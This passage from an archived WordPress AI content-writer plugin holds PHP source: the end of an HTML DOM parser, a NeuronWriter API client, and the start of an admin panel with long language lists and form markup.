($this->char==='=') { // attribute with value $this->char = (++$this->pos<$this->size) ? $this->doc[$this->pos] : null; // next $this->parse_attr($node, $name, $space); // get attribute value } else { //no value attr: nowrap, checked selected... $node->_[HDOM_INFO_QUOTE][] = HDOM_QUOTE_NO; $node->attr[$name] = true; if ($this->char!='>') $this->char = $this->doc[--$this->pos]; // prev } $node->_[HDOM_INFO_SPACE][] = $space; $space = array($this->copy_skip($this->token_blank), '', ''); // prepare for next attribute } else // no more attributes break; } while ($this->char!=='>' && $this->char!=='/'); // go until the tag ended $this->link_nodes($node, true); $node->_[HDOM_INFO_ENDSPACE] = $space[0]; // handle empty tags (i.e. "<div/>") if ($this->copy_until_char('>')==='/') { $node->_[HDOM_INFO_ENDSPACE] .= '/'; $node->_[HDOM_INFO_END] = 0; } else { // reset parent if (!isset($this->self_closing_tags[strtolower($node->tag)])) $this->parent = $node; } $this->char = (++$this->pos<$this->size) ? $this->doc[$this->pos] : null; // next // If it's a BR tag, we need to set it's text to the default text. // This way when we see it in plaintext, we can generate formatting that the user wants. // since a br tag never has sub nodes, this works well. if ($node->tag == "br") { $node->_[HDOM_INFO_INNER] = $this->default_br_text; } return true; } /** * Parse attribute from current document position * * @param object $node Node for the attributes * @param string $name Name of the current attribute * @param array $space Array for spacing information * @return void */ protected function parse_attr($node, $name, &$space) { // Per sourceforge: http://sourceforge.net/tracker/?func=detail&aid=3061408&group_id=218559&atid=1044037 // If the attribute is already defined inside a tag, only pay attention to the first one as opposed to the last one. // https://stackoverflow.com/a/26341866 if (isset($node->attr[$name])) { return; } $space[2] = $this->copy_skip($this->token_blank); // [2] Whitespace between "=" and the value switch ($this->char) { case '"': // value is anything between double quotes $node->_[HDOM_INFO_QUOTE][] = HDOM_QUOTE_DOUBLE; $this->char = (++$this->pos<$this->size) ? $this->doc[$this->pos] : null; // next $node->attr[$name] = $this->restore_noise($this->copy_until_char('"')); $this->char = (++$this->pos<$this->size) ? $this->doc[$this->pos] : null; // next break; case '\'': // value is anything between single quotes $node->_[HDOM_INFO_QUOTE][] = HDOM_QUOTE_SINGLE; $this->char = (++$this->pos<$this->size) ? $this->doc[$this->pos] : null; // next $node->attr[$name] = $this->restore_noise($this->copy_until_char('\'')); $this->char = (++$this->pos<$this->size) ? $this->doc[$this->pos] : null; // next break; default: // value is anything until the first space or end tag $node->_[HDOM_INFO_QUOTE][] = HDOM_QUOTE_NO; $node->attr[$name] = $this->restore_noise($this->copy_until($this->token_attr)); } // PaperG: Attributes should not have \r or \n in them, that counts as html whitespace. $node->attr[$name] = str_replace("\r", "", $node->attr[$name]); $node->attr[$name] = str_replace("\n", "", $node->attr[$name]); // PaperG: If this is a "class" selector, lets get rid of the preceeding and trailing space since some people leave it in the multi class case. if ($name == "class") { $node->attr[$name] = trim($node->attr[$name]); } } /** * Link node to parent node * * @param object $node Node to link to parent * @param bool $is_child True if the node is a child of parent * @return void */ // link node's parent protected function link_nodes(&$node, $is_child) { $node->parent = $this->parent; $this->parent->nodes[] = $node; if ($is_child) { $this->parent->children[] = $node; } } /** * Add tag as text node to current node * * @param string $tag Tag name * @return bool True on success */ protected function as_text_node($tag) { $node = new aiomatic_simple_html_dom_node($this); ++$this->cursor; $node->_[HDOM_INFO_TEXT] = '</' . $tag . '>'; $this->link_nodes($node, false); $this->char = (++$this->pos<$this->size) ? $this->doc[$this->pos] : null; // next return true; } /** * Seek from the current document position to the first occurrence of a * character not defined by the provided string. Update the current document * position to the new position. * * @param string $chars A string containing every allowed character. * @return void */ protected function skip($chars) { $this->pos += strspn($this->doc, $chars, $this->pos); $this->char = ($this->pos<$this->size) ? $this->doc[$this->pos] : null; // next } /** * Copy substring from the current document position to the first occurrence * of a character not defined by the provided string. * * @param string $chars A string containing every allowed character. * @return string Substring from the current document position to the first * occurrence of a character not defined by the provided string. */ protected function copy_skip($chars) { $pos = $this->pos; $len = strspn($this->doc, $chars, $pos); $this->pos += $len; $this->char = ($this->pos<$this->size) ? $this->doc[$this->pos] : null; // next if ($len===0) return ''; return substr($this->doc, $pos, $len); } /** * Copy substring from the current document position to the first occurrence * of any of the provided characters. * * @param string $chars A string containing every character to stop at. * @return string Substring from the current document position to the first * occurrence of any of the provided characters. */ protected function copy_until($chars) { $pos = $this->pos; $len = strcspn($this->doc, $chars, $pos); $this->pos += $len; $this->char = ($this->pos<$this->size) ? $this->doc[$this->pos] : null; // next return substr($this->doc, $pos, $len); } /** * Copy substring from the current document position to the first occurrence * of the provided string. * * @param string $char The string to stop at. * @return string Substring from the current document position to the first * occurrence of the provided string. */ protected function copy_until_char($char) { if ($this->char===null) return ''; if (($pos = strpos($this->doc, $char, $this->pos))===false) { $ret = substr($this->doc, $this->pos, $this->size-$this->pos); $this->char = null; $this->pos = $this->size; return $ret; } if ($pos===$this->pos) return ''; $pos_old = $this->pos; $this->char = $this->doc[$pos]; $this->pos = $pos; return substr($this->doc, $pos_old, $pos-$pos_old); } /** * Remove noise from HTML content * * Noise is stored to {@see aiomatic_simple_html_dom::$noise} * * @param string $pattern The regex pattern used for finding noise * @param bool $remove_tag True to remove the entire match. Default is false * to only remove the captured data. */ protected function remove_noise($pattern, $remove_tag=false) { global $debug_object; if (is_object($debug_object)) { $debug_object->debug_log_entry(1); } $count = preg_match_all($pattern, $this->doc, $matches, PREG_SET_ORDER|PREG_OFFSET_CAPTURE); for ($i=$count-1; $i>-1; --$i) { $key = '___noise___'.sprintf('% 5d', count($this->noise)+1000); if (is_object($debug_object)) { $debug_object->debug_log(2, 'key is: ' . $key); } $idx = ($remove_tag) ? 0 : 1; // 0 = entire match, 1 = submatch $this->noise[$key] = $matches[$i][$idx][0]; $this->doc = substr_replace($this->doc, $key, $matches[$i][$idx][1], strlen($matches[$i][$idx][0])); } // reset the length of content $this->size = strlen($this->doc); if ($this->size>0) { $this->char = $this->doc[0]; } } /** * Restore noise to HTML content * * Noise is restored from {@see aiomatic_simple_html_dom::$noise} * * @param string $text A subset of HTML containing noise * @return string The same content with noise restored */ function restore_noise($text) { global $debug_object; if (is_object($debug_object)) { $debug_object->debug_log_entry(1); } while (($pos=strpos($text, '___noise___'))!==false) { // Sometimes there is a broken piece of markup, and we don't GET the pos+11 etc... token which indicates a problem outside of us... if (strlen($text) > $pos+15) { // todo: "___noise___1000" (or any number with four or more digits) in the DOM causes an infinite loop which could be utilized by malicious software $key = '___noise___'.$text[$pos+11].$text[$pos+12].$text[$pos+13].$text[$pos+14].$text[$pos+15]; if (is_object($debug_object)) { $debug_object->debug_log(2, 'located key of: ' . $key); } if (isset($this->noise[$key])) { $text = substr($text, 0, $pos).$this->noise[$key].substr($text, $pos+16); } else { // do this to prevent an infinite loop. $text = substr($text, 0, $pos).'UNDEFINED NOISE FOR KEY: '.$key . substr($text, $pos+16); } } else { // There is no valid key being given back to us... We must get rid of the ___noise___ or we will have a problem. $text = substr($text, 0, $pos).'NO NUMERIC NOISE KEY' . substr($text, $pos+11); } } return $text; } // Sometimes we NEED one of the noise elements. function search_noise($text) { global $debug_object; if (is_object($debug_object)) { $debug_object->debug_log_entry(1); } foreach($this->noise as $noiseElement) { if (strpos($noiseElement, $text)!==false) { return $noiseElement; } } } function __toString() { return $this->root->innertext(); } function __get($name) { switch ($name) { case 'outertext': return $this->root->innertext(); case 'innertext': return $this->root->innertext(); case 'plaintext': return $this->root->text(); case 'charset': return $this->_charset; case 'target_charset': return $this->_target_charset; } } // camel naming conventions function childNodes($idx=-1) {return $this->root->childNodes($idx);} function firstChild() {return $this->root->first_child();} function lastChild() {return $this->root->last_child();} function createElement($name, $value=null) {return aiomatic_str_get_html("<$name>$value</$name>")->first_child();} function createTextNode($value) {return end(aiomatic_str_get_html($value)->nodes);} function getElementById($id) {return $this->find("#$id", 0);} function getElementsById($id, $idx=null) {return $this->find("#$id", $idx);} function getElementByTagName($name) {return $this->find($name, 0);} function getElementsByTagName($name, $idx=-1) {return $this->find($name, $idx);} function loadFile() {$args = func_get_args();$this->load_file($args);} } ?>������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������res/NeuronWriter.php��������������������������������������������������������������������������������0000644�����������������00000003343�14757771437�0010542 0����������������������������������������������������������������������������������������������������ustar�00�������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������<?php class NeuronWriterAPI { private $apiEndpoint = 'https://app.neuronwriter.com/neuron-api/0.5/writer'; private $headers = array(); public function __construct($apikey) { $this->headers = [ 'X-API-KEY: ' . $apikey, 'Accept: application/json', 'Content-Type: application/json' ]; } private function sendRequest($method, $url, $body = null) { $curl = curl_init(); curl_setopt($curl, CURLOPT_URL, $this->apiEndpoint . $url); curl_setopt($curl, CURLOPT_CUSTOMREQUEST, $method); curl_setopt($curl, CURLOPT_HTTPHEADER, $this->headers); curl_setopt($curl, CURLOPT_RETURNTRANSFER, true); if (!is_null($body)) { curl_setopt($curl, CURLOPT_POSTFIELDS, json_encode($body)); } $response = curl_exec($curl); curl_close($curl); return $response; } public function createNewQuery($projectId, $keyword, $engine, $language) { $payload = [ 'project' => $projectId, 'keyword' => $keyword, 'engine' => $engine, 'language' => $language ]; return $this->sendRequest('POST', '/new-query', $payload); } public function getQueryStatus($queryId) { $retme = false; $payload = ['query' => $queryId]; $response = $this->sendRequest('POST', '/get-query', $payload); $responseData = json_decode($response, true); if (isset($responseData['status']) && $responseData['status'] === 'ready') { $retme = $responseData; } return $retme; } } ?>���������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������res/aiomatic-single-list.php������������������������������������������������������������������������0000644�����������������00002536126�14757771437�0012131 0����������������������������������������������������������������������������������������������������ustar�00�������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������<?php function aiomatic_single_panel() { $aiomatic_language_names = array( esc_html__("English", 'aiomatic-automatic-ai-content-writer'), esc_html__("Spanish", 'aiomatic-automatic-ai-content-writer'), esc_html__("French", 'aiomatic-automatic-ai-content-writer'), esc_html__("Italian", 'aiomatic-automatic-ai-content-writer'), esc_html__("Afrikaans", 'aiomatic-automatic-ai-content-writer'), esc_html__("Albanian", 'aiomatic-automatic-ai-content-writer'), esc_html__("Arabic", 'aiomatic-automatic-ai-content-writer'), esc_html__("Amharic", 'aiomatic-automatic-ai-content-writer'), esc_html__("Armenian", 'aiomatic-automatic-ai-content-writer'), esc_html__("Belarusian", 'aiomatic-automatic-ai-content-writer'), esc_html__("Bulgarian", 'aiomatic-automatic-ai-content-writer'), esc_html__("Catalan", 'aiomatic-automatic-ai-content-writer'), esc_html__("Chinese Simplified", 'aiomatic-automatic-ai-content-writer'), esc_html__("Croatian", 'aiomatic-automatic-ai-content-writer'), esc_html__("Czech", 'aiomatic-automatic-ai-content-writer'), esc_html__("Danish", 'aiomatic-automatic-ai-content-writer'), esc_html__("Dutch", 'aiomatic-automatic-ai-content-writer'), esc_html__("Estonian", 'aiomatic-automatic-ai-content-writer'), esc_html__("Filipino", 'aiomatic-automatic-ai-content-writer'), esc_html__("Finnish", 'aiomatic-automatic-ai-content-writer'), esc_html__("Galician", 'aiomatic-automatic-ai-content-writer'), esc_html__("German", 'aiomatic-automatic-ai-content-writer'), esc_html__("Greek", 'aiomatic-automatic-ai-content-writer'), esc_html__("Hebrew", 'aiomatic-automatic-ai-content-writer'), esc_html__("Hindi", 'aiomatic-automatic-ai-content-writer'), esc_html__("Hungarian", 'aiomatic-automatic-ai-content-writer'), esc_html__("Icelandic", 'aiomatic-automatic-ai-content-writer'), esc_html__("Indonesian", 'aiomatic-automatic-ai-content-writer'), esc_html__("Irish", 'aiomatic-automatic-ai-content-writer'), esc_html__("Japanese", 'aiomatic-automatic-ai-content-writer'), esc_html__("Korean", 'aiomatic-automatic-ai-content-writer'), esc_html__("Latvian", 'aiomatic-automatic-ai-content-writer'), esc_html__("Lithuanian", 'aiomatic-automatic-ai-content-writer'), esc_html__("Norwegian", 'aiomatic-automatic-ai-content-writer'), esc_html__("Macedonian", 'aiomatic-automatic-ai-content-writer'), esc_html__("Malay", 'aiomatic-automatic-ai-content-writer'), esc_html__("Maltese", 'aiomatic-automatic-ai-content-writer'), esc_html__("Persian", 'aiomatic-automatic-ai-content-writer'), esc_html__("Polish", 'aiomatic-automatic-ai-content-writer'), esc_html__("Portuguese", 'aiomatic-automatic-ai-content-writer'), esc_html__("Romanian", 'aiomatic-automatic-ai-content-writer'), esc_html__("Russian", 'aiomatic-automatic-ai-content-writer'), esc_html__("Serbian", 'aiomatic-automatic-ai-content-writer'), esc_html__("Slovak", 'aiomatic-automatic-ai-content-writer'), esc_html__("Slovenian", 'aiomatic-automatic-ai-content-writer'), esc_html__("Swahili", 'aiomatic-automatic-ai-content-writer'), esc_html__("Swedish", 'aiomatic-automatic-ai-content-writer'), esc_html__("Thai", 'aiomatic-automatic-ai-content-writer'), esc_html__("Turkish", 'aiomatic-automatic-ai-content-writer'), esc_html__("Ukrainian", 'aiomatic-automatic-ai-content-writer'), esc_html__("Vietnamese", 'aiomatic-automatic-ai-content-writer'), esc_html__("Welsh", 'aiomatic-automatic-ai-content-writer'), esc_html__("Yiddish", 'aiomatic-automatic-ai-content-writer'), esc_html__("Tamil", 'aiomatic-automatic-ai-content-writer'), esc_html__("Azerbaijani", 'aiomatic-automatic-ai-content-writer'), esc_html__("Kannada", 'aiomatic-automatic-ai-content-writer'), esc_html__("Basque", 'aiomatic-automatic-ai-content-writer'), esc_html__("Bengali", 'aiomatic-automatic-ai-content-writer'), esc_html__("Latin", 'aiomatic-automatic-ai-content-writer'), esc_html__("Chinese Traditional", 'aiomatic-automatic-ai-content-writer'), esc_html__("Esperanto", 'aiomatic-automatic-ai-content-writer'), esc_html__("Georgian", 'aiomatic-automatic-ai-content-writer'), esc_html__("Telugu", 'aiomatic-automatic-ai-content-writer'), esc_html__("Gujarati", 'aiomatic-automatic-ai-content-writer'), esc_html__("Haitian Creole", 'aiomatic-automatic-ai-content-writer'), esc_html__("Urdu", 'aiomatic-automatic-ai-content-writer'), esc_html__("Burmese", 'aiomatic-automatic-ai-content-writer'), esc_html__("Bosnian", 'aiomatic-automatic-ai-content-writer'), esc_html__("Cebuano", 'aiomatic-automatic-ai-content-writer'), esc_html__("Chichewa", 'aiomatic-automatic-ai-content-writer'), esc_html__("Corsican", 'aiomatic-automatic-ai-content-writer'), esc_html__("Frisian", 'aiomatic-automatic-ai-content-writer'), esc_html__("Scottish Gaelic", 'aiomatic-automatic-ai-content-writer'), esc_html__("Hausa", 'aiomatic-automatic-ai-content-writer'), esc_html__("Hawaian", 'aiomatic-automatic-ai-content-writer'), esc_html__("Hmong", 'aiomatic-automatic-ai-content-writer'), esc_html__("Igbo", 'aiomatic-automatic-ai-content-writer'), esc_html__("Javanese", 'aiomatic-automatic-ai-content-writer'), esc_html__("Kazakh", 'aiomatic-automatic-ai-content-writer'), esc_html__("Khmer", 'aiomatic-automatic-ai-content-writer'), esc_html__("Kurdish", 'aiomatic-automatic-ai-content-writer'), esc_html__("Kyrgyz", 'aiomatic-automatic-ai-content-writer'), esc_html__("Lao", 'aiomatic-automatic-ai-content-writer'), esc_html__("Luxembourgish", 'aiomatic-automatic-ai-content-writer'), esc_html__("Malagasy", 'aiomatic-automatic-ai-content-writer'), esc_html__("Malayalam", 'aiomatic-automatic-ai-content-writer'), esc_html__("Maori", 'aiomatic-automatic-ai-content-writer'), esc_html__("Marathi", 'aiomatic-automatic-ai-content-writer'), esc_html__("Mongolian", 'aiomatic-automatic-ai-content-writer'), esc_html__("Nepali", 'aiomatic-automatic-ai-content-writer'), esc_html__("Pashto", 'aiomatic-automatic-ai-content-writer'), esc_html__("Punjabi", 'aiomatic-automatic-ai-content-writer'), esc_html__("Samoan", 'aiomatic-automatic-ai-content-writer'), esc_html__("Sesotho", 'aiomatic-automatic-ai-content-writer'), esc_html__("Shona", 'aiomatic-automatic-ai-content-writer'), esc_html__("Sindhi", 'aiomatic-automatic-ai-content-writer'), esc_html__("Sinhala", 'aiomatic-automatic-ai-content-writer'), esc_html__("Somali", 'aiomatic-automatic-ai-content-writer'), esc_html__("Sundanese", 'aiomatic-automatic-ai-content-writer'), esc_html__("Swahili", 'aiomatic-automatic-ai-content-writer'), esc_html__("Tajik", 'aiomatic-automatic-ai-content-writer'), esc_html__("Uzbek", 'aiomatic-automatic-ai-content-writer'), esc_html__("Xhosa", 'aiomatic-automatic-ai-content-writer'), esc_html__("Yoruba", 'aiomatic-automatic-ai-content-writer'), esc_html__("Zulu", 'aiomatic-automatic-ai-content-writer'), esc_html__("Assammese", 'aiomatic-automatic-ai-content-writer'), esc_html__("Aymara", 'aiomatic-automatic-ai-content-writer'), esc_html__("Bambara", 'aiomatic-automatic-ai-content-writer'), esc_html__("Bhojpuri", 'aiomatic-automatic-ai-content-writer'), esc_html__("Dhivehi", 'aiomatic-automatic-ai-content-writer'), esc_html__("Dogri", 'aiomatic-automatic-ai-content-writer'), esc_html__("Ewe", 'aiomatic-automatic-ai-content-writer'), esc_html__("Guarani", 'aiomatic-automatic-ai-content-writer'), esc_html__("Ilocano", 'aiomatic-automatic-ai-content-writer'), esc_html__("Kinyarwanda", 'aiomatic-automatic-ai-content-writer'), esc_html__("Konkani", 'aiomatic-automatic-ai-content-writer'), esc_html__("Krio", 'aiomatic-automatic-ai-content-writer'), esc_html__("Kurdish - Sorani", 'aiomatic-automatic-ai-content-writer'), esc_html__("Lingala", 'aiomatic-automatic-ai-content-writer'), esc_html__("Luganda", 'aiomatic-automatic-ai-content-writer'), esc_html__("Maithili", 'aiomatic-automatic-ai-content-writer'), esc_html__("Meiteilon", 'aiomatic-automatic-ai-content-writer'), esc_html__("Mizo", 'aiomatic-automatic-ai-content-writer'), esc_html__("Odia", 'aiomatic-automatic-ai-content-writer'), esc_html__("Oromo", 'aiomatic-automatic-ai-content-writer'), esc_html__("Quechua", 'aiomatic-automatic-ai-content-writer'), esc_html__("Sanskrit", 'aiomatic-automatic-ai-content-writer'), esc_html__("Sepedi", 'aiomatic-automatic-ai-content-writer'), esc_html__("Tatar", 'aiomatic-automatic-ai-content-writer'), esc_html__("Tigrinya", 'aiomatic-automatic-ai-content-writer'), esc_html__("Tsonga", 'aiomatic-automatic-ai-content-writer'), esc_html__("Turkmen", 'aiomatic-automatic-ai-content-writer'), esc_html__("Twi", 'aiomatic-automatic-ai-content-writer'), esc_html__("Uyghur", 'aiomatic-automatic-ai-content-writer') ); $all_models = aiomatic_get_all_models(true); $all_assistants = aiomatic_get_all_assistants(true); $language_names = array( esc_html__("English", 'aiomatic-automatic-ai-content-writer'), esc_html__("Spanish", 'aiomatic-automatic-ai-content-writer'), esc_html__("French", 'aiomatic-automatic-ai-content-writer'), esc_html__("Italian", 'aiomatic-automatic-ai-content-writer'), esc_html__("Afrikaans", 'aiomatic-automatic-ai-content-writer'), esc_html__("Albanian", 'aiomatic-automatic-ai-content-writer'), esc_html__("Arabic", 'aiomatic-automatic-ai-content-writer'), esc_html__("Amharic", 'aiomatic-automatic-ai-content-writer'), esc_html__("Armenian", 'aiomatic-automatic-ai-content-writer'), esc_html__("Belarusian", 'aiomatic-automatic-ai-content-writer'), esc_html__("Bulgarian", 'aiomatic-automatic-ai-content-writer'), esc_html__("Catalan", 'aiomatic-automatic-ai-content-writer'), esc_html__("Chinese Simplified", 'aiomatic-automatic-ai-content-writer'), esc_html__("Croatian", 'aiomatic-automatic-ai-content-writer'), esc_html__("Czech", 'aiomatic-automatic-ai-content-writer'), esc_html__("Danish", 'aiomatic-automatic-ai-content-writer'), esc_html__("Dutch", 'aiomatic-automatic-ai-content-writer'), esc_html__("Estonian", 'aiomatic-automatic-ai-content-writer'), esc_html__("Filipino", 'aiomatic-automatic-ai-content-writer'), esc_html__("Finnish", 'aiomatic-automatic-ai-content-writer'), esc_html__("Galician", 'aiomatic-automatic-ai-content-writer'), esc_html__("German", 'aiomatic-automatic-ai-content-writer'), esc_html__("Greek", 'aiomatic-automatic-ai-content-writer'), esc_html__("Hebrew", 'aiomatic-automatic-ai-content-writer'), esc_html__("Hindi", 'aiomatic-automatic-ai-content-writer'), esc_html__("Hungarian", 'aiomatic-automatic-ai-content-writer'), esc_html__("Icelandic", 'aiomatic-automatic-ai-content-writer'), esc_html__("Indonesian", 'aiomatic-automatic-ai-content-writer'), esc_html__("Irish", 'aiomatic-automatic-ai-content-writer'), esc_html__("Japanese", 'aiomatic-automatic-ai-content-writer'), esc_html__("Korean", 'aiomatic-automatic-ai-content-writer'), esc_html__("Latvian", 'aiomatic-automatic-ai-content-writer'), esc_html__("Lithuanian", 'aiomatic-automatic-ai-content-writer'), esc_html__("Norwegian", 'aiomatic-automatic-ai-content-writer'), esc_html__("Macedonian", 'aiomatic-automatic-ai-content-writer'), esc_html__("Malay", 'aiomatic-automatic-ai-content-writer'), esc_html__("Maltese", 'aiomatic-automatic-ai-content-writer'), esc_html__("Persian", 'aiomatic-automatic-ai-content-writer'), esc_html__("Polish", 'aiomatic-automatic-ai-content-writer'), esc_html__("Portuguese", 'aiomatic-automatic-ai-content-writer'), esc_html__("Romanian", 'aiomatic-automatic-ai-content-writer'), esc_html__("Russian", 'aiomatic-automatic-ai-content-writer'), esc_html__("Serbian", 'aiomatic-automatic-ai-content-writer'), esc_html__("Slovak", 'aiomatic-automatic-ai-content-writer'), esc_html__("Slovenian", 'aiomatic-automatic-ai-content-writer'), esc_html__("Swahili", 'aiomatic-automatic-ai-content-writer'), esc_html__("Swedish", 'aiomatic-automatic-ai-content-writer'), esc_html__("Thai", 'aiomatic-automatic-ai-content-writer'), esc_html__("Turkish", 'aiomatic-automatic-ai-content-writer'), esc_html__("Ukrainian", 'aiomatic-automatic-ai-content-writer'), esc_html__("Vietnamese", 'aiomatic-automatic-ai-content-writer'), esc_html__("Welsh", 'aiomatic-automatic-ai-content-writer'), esc_html__("Yiddish", 'aiomatic-automatic-ai-content-writer'), esc_html__("Tamil", 'aiomatic-automatic-ai-content-writer'), esc_html__("Azerbaijani", 'aiomatic-automatic-ai-content-writer'), esc_html__("Kannada", 'aiomatic-automatic-ai-content-writer'), esc_html__("Basque", 'aiomatic-automatic-ai-content-writer'), esc_html__("Bengali", 'aiomatic-automatic-ai-content-writer'), esc_html__("Latin", 'aiomatic-automatic-ai-content-writer'), esc_html__("Chinese Traditional", 'aiomatic-automatic-ai-content-writer'), esc_html__("Esperanto", 'aiomatic-automatic-ai-content-writer'), esc_html__("Georgian", 'aiomatic-automatic-ai-content-writer'), esc_html__("Telugu", 'aiomatic-automatic-ai-content-writer'), esc_html__("Gujarati", 'aiomatic-automatic-ai-content-writer'), esc_html__("Haitian Creole", 'aiomatic-automatic-ai-content-writer'), esc_html__("Urdu", 'aiomatic-automatic-ai-content-writer'), esc_html__("Burmese", 'aiomatic-automatic-ai-content-writer'), esc_html__("Bosnian", 'aiomatic-automatic-ai-content-writer'), esc_html__("Cebuano", 'aiomatic-automatic-ai-content-writer'), esc_html__("Chichewa", 'aiomatic-automatic-ai-content-writer'), esc_html__("Corsican", 'aiomatic-automatic-ai-content-writer'), esc_html__("Frisian", 'aiomatic-automatic-ai-content-writer'), esc_html__("Scottish Gaelic", 'aiomatic-automatic-ai-content-writer'), esc_html__("Hausa", 'aiomatic-automatic-ai-content-writer'), esc_html__("Hawaian", 'aiomatic-automatic-ai-content-writer'), esc_html__("Hmong", 'aiomatic-automatic-ai-content-writer'), esc_html__("Igbo", 'aiomatic-automatic-ai-content-writer'), esc_html__("Javanese", 'aiomatic-automatic-ai-content-writer'), esc_html__("Kazakh", 'aiomatic-automatic-ai-content-writer'), esc_html__("Khmer", 'aiomatic-automatic-ai-content-writer'), esc_html__("Kurdish", 'aiomatic-automatic-ai-content-writer'), esc_html__("Kyrgyz", 'aiomatic-automatic-ai-content-writer'), esc_html__("Lao", 'aiomatic-automatic-ai-content-writer'), esc_html__("Luxembourgish", 'aiomatic-automatic-ai-content-writer'), esc_html__("Malagasy", 'aiomatic-automatic-ai-content-writer'), esc_html__("Malayalam", 'aiomatic-automatic-ai-content-writer'), esc_html__("Maori", 'aiomatic-automatic-ai-content-writer'), esc_html__("Marathi", 'aiomatic-automatic-ai-content-writer'), esc_html__("Mongolian", 'aiomatic-automatic-ai-content-writer'), esc_html__("Nepali", 'aiomatic-automatic-ai-content-writer'), esc_html__("Pashto", 'aiomatic-automatic-ai-content-writer'), esc_html__("Punjabi", 'aiomatic-automatic-ai-content-writer'), esc_html__("Samoan", 'aiomatic-automatic-ai-content-writer'), esc_html__("Sesotho", 'aiomatic-automatic-ai-content-writer'), esc_html__("Shona", 'aiomatic-automatic-ai-content-writer'), esc_html__("Sindhi", 'aiomatic-automatic-ai-content-writer'), esc_html__("Sinhala", 'aiomatic-automatic-ai-content-writer'), esc_html__("Somali", 'aiomatic-automatic-ai-content-writer'), esc_html__("Sundanese", 'aiomatic-automatic-ai-content-writer'), esc_html__("Swahili", 'aiomatic-automatic-ai-content-writer'), esc_html__("Tajik", 'aiomatic-automatic-ai-content-writer'), esc_html__("Uzbek", 'aiomatic-automatic-ai-content-writer'), esc_html__("Xhosa", 'aiomatic-automatic-ai-content-writer'), esc_html__("Yoruba", 'aiomatic-automatic-ai-content-writer'), esc_html__("Zulu", 'aiomatic-automatic-ai-content-writer'), esc_html__("Assammese", 'aiomatic-automatic-ai-content-writer'), esc_html__("Aymara", 'aiomatic-automatic-ai-content-writer'), esc_html__("Bambara", 'aiomatic-automatic-ai-content-writer'), esc_html__("Bhojpuri", 'aiomatic-automatic-ai-content-writer'), esc_html__("Dhivehi", 'aiomatic-automatic-ai-content-writer'), esc_html__("Dogri", 'aiomatic-automatic-ai-content-writer'), esc_html__("Ewe", 'aiomatic-automatic-ai-content-writer'), esc_html__("Guarani", 'aiomatic-automatic-ai-content-writer'), esc_html__("Ilocano", 'aiomatic-automatic-ai-content-writer'), esc_html__("Kinyarwanda", 'aiomatic-automatic-ai-content-writer'), esc_html__("Konkani", 'aiomatic-automatic-ai-content-writer'), esc_html__("Krio", 'aiomatic-automatic-ai-content-writer'), esc_html__("Kurdish - Sorani", 'aiomatic-automatic-ai-content-writer'), esc_html__("Lingala", 'aiomatic-automatic-ai-content-writer'), esc_html__("Luganda", 'aiomatic-automatic-ai-content-writer'), esc_html__("Maithili", 'aiomatic-automatic-ai-content-writer'), esc_html__("Meiteilon", 'aiomatic-automatic-ai-content-writer'), esc_html__("Mizo", 'aiomatic-automatic-ai-content-writer'), esc_html__("Odia", 'aiomatic-automatic-ai-content-writer'), esc_html__("Oromo", 'aiomatic-automatic-ai-content-writer'), esc_html__("Quechua", 'aiomatic-automatic-ai-content-writer'), esc_html__("Sanskrit", 'aiomatic-automatic-ai-content-writer'), esc_html__("Sepedi", 'aiomatic-automatic-ai-content-writer'), esc_html__("Tatar", 'aiomatic-automatic-ai-content-writer'), esc_html__("Tigrinya", 'aiomatic-automatic-ai-content-writer'), esc_html__("Tsonga", 'aiomatic-automatic-ai-content-writer'), esc_html__("Turkmen", 'aiomatic-automatic-ai-content-writer'), esc_html__("Twi", 'aiomatic-automatic-ai-content-writer'), esc_html__("Uyghur", 'aiomatic-automatic-ai-content-writer') ); ?> <div id="aiomatic-dialog" class="hidden"> <h3 class="aiomatic-middle"><?php echo esc_html__("Post created as draft. Choose what to do next:", 'aiomatic-automatic-ai-content-writer');?></h3> <p class="aiomatic-middle"><button id="aiomatic-success-button" adminurl="<?php echo admin_url('post.php?post=');?>" postid=""><?php echo esc_html__("Edit Created Post", 'aiomatic-automatic-ai-content-writer');?></button></p> <p class="aiomatic-middle"><button id="aiomatic-close-button" onclick="window.location='#';"><?php echo esc_html__("Continue Creating Posts With AI", 'aiomatic-automatic-ai-content-writer');?></button></p> </div> <div class="wrap gs_popuptype_holder seo_pops"> <h2 class="cr_center"><?php echo esc_html__("Single AI Post Creator", 'aiomatic-automatic-ai-content-writer');?></h2> <nav class="nav-tab-wrapper"> <a href="#tab-0" class="nav-tab"><?php echo esc_html__("Express Mode", 'aiomatic-automatic-ai-content-writer');?></a> <a href="#tab-1" class="nav-tab"><?php echo esc_html__("Advanced Mode", 'aiomatic-automatic-ai-content-writer');?></a> </nav> <div id="tab-0" class="tab-content"> <h1 class="wp-heading-inline"> <?php echo esc_html__("Express Mode", 'aiomatic-automatic-ai-content-writer'); ?></h1> <hr class="wp-header-end"> <?php $max_execution = ini_get('max_execution_time'); if($max_execution != 0 && $max_execution < 1000) { ?> <div class="notice notice-error"> <p class="cr_red"> <?php echo sprintf( wp_kses( __( "Warning! Your PHP INI max_execution_time is less than 1000 seconds (%s). This means that the plugin's execution will be forcefully stopped by your server after this amount of seconds. Please increase it to ensure that the plugin functions properly. Please check details on server settings, <a href='%s' target='_blank'>here</a>.", 'aiomatic-automatic-ai-content-writer'), array( 'a' => array( 'href' => array(), 'target' => array() ) ) ), esc_html($max_execution), esc_url_raw( get_admin_url() . 'admin.php?page=aiomatic_logs#tab-2' ) );?> </p> </div> <?php } ?> <form name="aiomatic-single-post" action="<?php echo (aiomatic_isSecure() ? "https" : "http") . "://$_SERVER[HTTP_HOST]$_SERVER[REQUEST_URI]";?>" method="post" id="aiomatic-single-post"> <div id="poststuff"> <div id="post-body" class="metabox-holder columns-2"> <div id="post-body-content"> <div id="titlediv"> <div id="titlewrap"> <h2 class="top_heading"><?php echo esc_html__("Post Title", 'aiomatic-automatic-ai-content-writer'); ?></h2> <input type="text" name="post_title" size="30" value="" id="title" spellcheck="true" autocomplete="off" placeholder="Post title" onkeyup="aiomatic_title_empty();"> </div> <div class="inside"> </div></div><!-- /titlediv --> <div id="gendiv"> <div id="genwrap"> <hr/> <h2 class="top_heading"><?php echo esc_html__("Post Sections", 'aiomatic-automatic-ai-content-writer'); ?></h2> <div class="aiomatic-minor-publishing-actions"> 